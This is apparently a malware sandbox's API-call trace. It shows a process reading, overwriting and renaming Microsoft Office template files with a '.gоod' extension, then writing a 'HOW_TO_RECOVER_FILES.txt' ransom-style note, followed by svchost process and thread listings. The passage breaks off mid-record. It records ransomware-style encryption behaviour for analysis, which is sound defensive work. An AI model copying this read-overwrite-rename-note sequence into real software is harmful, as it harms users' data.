[0273.586] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", lpFilePart=0x0) returned 0x4e [0273.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0273.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3a15e08 | out: lpFileInformation=0x3a15e08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f42)) returned 1 [0273.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0273.586] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", lpFilePart=0x0) returned 0x4e [0273.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.587] GetFileType (hFile=0x834) returned 0x1 [0273.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.587] GetFileType (hFile=0x834) returned 0x1 [0273.587] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0273.587] ReadFile (in: hFile=0x834, lpBuffer=0x3a16240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3a16240*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0273.678] CloseHandle (hObject=0x834) returned 1 [0273.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", lpFilePart=0x0) returned 0x4e [0273.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.679] GetFileType (hFile=0x834) returned 0x1 [0273.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.679] GetFileType (hFile=0x834) returned 0x1 [0273.679] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f42 [0273.679] WriteFile (in: hFile=0x834, lpBuffer=0x38ce880*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x38ce880*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0273.680] CloseHandle (hObject=0x834) returned 1 [0273.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", lpFilePart=0x0) returned 0x4e [0273.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.680] GetFileType (hFile=0x834) returned 0x1 [0273.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.680] GetFileType (hFile=0x834) returned 0x1 [0273.680] ReadFile (in: hFile=0x834, lpBuffer=0x38d0b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x38d0b50*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0273.707] CloseHandle (hObject=0x834) returned 1 [0273.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", lpFilePart=0x0) returned 0x4e [0273.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.708] GetFileType (hFile=0x834) returned 0x1 [0273.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.708] GetFileType (hFile=0x834) returned 0x1 [0273.708] WriteFile (in: hFile=0x834, lpBuffer=0x38cf898*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x38cf898*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0273.708] CloseHandle (hObject=0x834) returned 1 [0273.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", lpFilePart=0x0) returned 0x4e [0273.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.gоod", lpFilePart=0x0) returned 0x53 [0273.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0273.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f5a1dc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f52)) returned 1 [0273.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0273.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx.gоod")) returned 1 [0273.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", lpFilePart=0x0) returned 0x50 [0273.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0273.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), fInfoLevelId=0x0, lpFileInformation=0x394dfb0 | out: lpFileInformation=0x394dfb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f11)) returned 1 [0273.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0273.710] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", lpFilePart=0x0) returned 0x50 [0273.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.711] GetFileType (hFile=0x834) returned 0x1 [0273.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.711] GetFileType (hFile=0x834) returned 0x1 [0273.711] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0273.711] ReadFile (in: hFile=0x834, lpBuffer=0x39501b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39501b8*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0273.897] CloseHandle (hObject=0x834) returned 1 [0273.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", lpFilePart=0x0) returned 0x50 [0273.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.897] GetFileType (hFile=0x834) returned 0x1 [0273.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.897] GetFileType (hFile=0x834) returned 0x1 [0273.897] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f11 [0273.897] WriteFile (in: hFile=0x834, lpBuffer=0x3936478*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3936478*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0273.898] CloseHandle (hObject=0x834) returned 1 [0273.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", lpFilePart=0x0) returned 0x50 [0273.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.899] GetFileType (hFile=0x834) returned 0x1 [0273.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.899] GetFileType (hFile=0x834) returned 0x1 [0273.899] ReadFile (in: hFile=0x834, lpBuffer=0x3938770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3938770*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0273.926] CloseHandle (hObject=0x834) returned 1 [0273.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", lpFilePart=0x0) returned 0x50 [0273.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0273.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.926] GetFileType (hFile=0x834) returned 0x1 [0273.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0273.926] GetFileType (hFile=0x834) returned 0x1 [0273.926] WriteFile (in: hFile=0x834, lpBuffer=0x39374b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x39374b0*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0273.926] CloseHandle (hObject=0x834) returned 1 [0273.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", lpFilePart=0x0) returned 0x50 [0273.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.gоod", lpFilePart=0x0) returned 0x55 [0273.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0273.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f7b7e90, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f21)) returned 1 [0273.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0273.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx.gоod")) returned 1 [0273.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0273.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0273.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0273.929] GetFileType (hFile=0x834) returned 0x1 [0273.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0273.929] GetFileType (hFile=0x834) returned 0x1 [0273.930] WriteFile (in: hFile=0x834, lpBuffer=0x39bb108*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 | out: lpBuffer=0x39bb108*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0273.931] CloseHandle (hObject=0x834) returned 1 [0273.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0273.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media", lpFilePart=0x0) returned 0x35 [0273.931] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*", lpFindFileData=0x20ced980) Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51a30000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xf90" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 15 os_tid = 0xeec Thread: id = 16 os_tid = 0xef4 Thread: id = 17 os_tid = 0xf70 Thread: id = 18 os_tid = 0x738 Thread: id = 19 os_tid = 0xd9c Thread: id = 20 os_tid = 0x8f0 Thread: id = 21 os_tid = 0x1a4 Thread: id = 22 os_tid = 0xa34 Thread: id = 23 os_tid = 0x5cc Thread: id = 24 os_tid = 0xe88 Thread: id = 25 os_tid = 0x8f4 Thread: id = 26 os_tid = 0xd1c Thread: id = 27 os_tid = 0x4a0 Thread: id = 28 os_tid = 0xf98 Thread: id = 29 os_tid = 0xcb8 Thread: id = 30 os_tid = 0x9e0 Thread: id = 31 os_tid = 0x46c Thread: id = 32 os_tid = 0xd34 Thread: id = 33 os_tid = 0x2d4 Thread: id = 34 os_tid = 0xe60 Thread: id = 35 os_tid = 0x4e4 Thread: id = 36 os_tid = 0xdf4 Thread: id = 37 os_tid = 0x7b8 Thread: id = 38 os_tid = 0x658 Thread: id = 39 os_tid = 0x210 Thread: id = 40 os_tid = 0x5f8 Thread: id = 41 os_tid = 0x2ac Thread: id = 42 os_tid = 0x7fc Thread: id = 43 os_tid = 0xe9c Thread: id = 44 os_tid = 0xe0c Thread: id = 45 os_tid = 0x3d8 Thread: id = 46 os_tid = 0x3fc Thread: id = 47 os_tid = 0x504 Thread: id = 48 os_tid = 0xea0 Thread: id = 49 os_tid = 0xebc Thread: id = 50 os_tid = 0x1b4 Thread: id = 51 os_tid = 0xe80 Thread: id = 52 os_tid = 0xb80 Thread: id = 53 os_tid = 0xd8c Thread: id = 54 os_tid = 0x720 Thread: id = 55 os_tid = 0x544 Thread: id = 56 os_tid = 0xe00 Thread: id = 57 os_tid = 0xf00 Thread: id = 58 os_tid = 0xa50 Thread: id = 59 os_tid = 0xa3c Thread: id = 60 os_tid = 0xa30 Thread: id = 61 os_tid = 0xa18 Thread: id = 62 os_tid = 0x9c4 Thread: id = 63 os_tid = 0x9ac Thread: id = 64 os_tid = 0x9a4 Thread: id = 65 os_tid = 0x9a0 Thread: id = 66 os_tid = 0x99c Thread: id = 67 os_tid = 0x998 Thread: id = 68 os_tid = 0x990 Thread: id = 69 os_tid = 0x988 Thread: id = 70 os_tid = 0x980 Thread: id = 71 os_tid = 0x970 Thread: id = 72 os_tid = 0x96c Thread: id = 73 os_tid = 0x968 Thread: id = 74 os_tid = 0x960 Thread: id = 75 os_tid = 0x954 Thread: id = 76 os_tid = 0x950 Thread: id = 77 os_tid = 0x93c Thread: id = 78 os_tid = 0x938 Thread: id = 79 os_tid = 0x924 Thread: id = 80 os_tid = 0x87c Thread: id = 81 os_tid = 0x80c Thread: id = 82 os_tid = 0x808 Thread: id = 83 os_tid = 0x4dc Thread: id = 84 os_tid = 0x7dc Thread: id = 85 os_tid = 0x7d4 Thread: id = 86 os_tid = 0x7d0 Thread: id = 87 os_tid = 0x7c0 Thread: id = 88 os_tid = 0x730 Thread: id = 89 os_tid = 0x6f0 Thread: id = 90 os_tid = 0x6ec Thread: id = 91 os_tid = 0x664 Thread: id = 92 os_tid = 0x59c Thread: id = 93 os_tid = 0x554 Thread: id = 94 os_tid = 0x4b4 Thread: id = 95 os_tid = 0x44c Thread: id = 96 os_tid = 0x448 Thread: id = 97 os_tid = 0x428 Thread: id = 98 os_tid = 0x418 Thread: id = 99 os_tid = 0x414 Thread: id = 100 os_tid = 0x35c Thread: id = 101 os_tid = 0x340 Thread: id = 102 os_tid = 0x3a0 Thread: id = 103 os_tid = 0x38c Thread: id = 104 os_tid = 0x364 Thread: id = 105 os_tid = 0x248 Thread: id = 106 os_tid = 0x280 Thread: id = 107 os_tid = 0x29c Thread: id = 108 os_tid = 0x188 Thread: id = 109 os_tid = 0x3c4 Thread: id = 111 os_tid = 0x384 Thread: id = 112 os_tid = 0xd44 Thread: id = 127 os_tid = 0x9e8 Thread: id = 176 os_tid = 0x8f0 Thread: id = 177 os_tid = 0xea8 Thread: id = 178 os_tid = 0xdf4 Thread: id = 193 os_tid = 0xc9c Thread: id = 194 os_tid = 0xa24 Thread: id = 195 os_tid = 0xf14 Thread: id = 199 os_tid = 0xee4 Thread: id = 200 os_tid = 0xf4c Thread: id = 201 os_tid = 0xec8 Thread: id = 203 os_tid = 0xf84 Thread: id = 204 os_tid = 0xefc Thread: id = 216 os_tid = 0xa80 Thread: id = 217 os_tid = 0xdf4 Thread: id = 227 os_tid = 0xed4 Thread: id = 228 os_tid = 0xe94 Thread: id = 229 os_tid = 0x504 Thread: id = 230 os_tid = 0x49c Thread: id = 231 os_tid = 0x904 Thread: id = 233 os_tid = 0xd14 Thread: id = 234 os_tid = 0xfa0 Thread: id = 235 os_tid = 0x788 Thread: id = 236 os_tid = 0x260 Thread: id = 243 os_tid = 0xbfc Thread: id = 244 os_tid = 0xf74 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x49d1f000" os_pid = "0x5f0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xf90" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fac7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 114 os_tid = 0xf04 Thread: id = 115 os_tid = 0x174 Thread: id = 116 os_tid = 0xa2c Thread: id = 117 os_tid = 0xa14 Thread: id = 118 os_tid = 0x8dc Thread: id = 119 os_tid = 0x8d4 Thread: id = 120 os_tid = 0x520 Thread: id = 121 os_tid = 0x67c Thread: id = 122 os_tid = 0x678 Thread: id = 123 os_tid = 0x644 Thread: id = 124 os_tid = 0x640 Thread: id = 125 os_tid = 0x63c Thread: id = 126 os_tid = 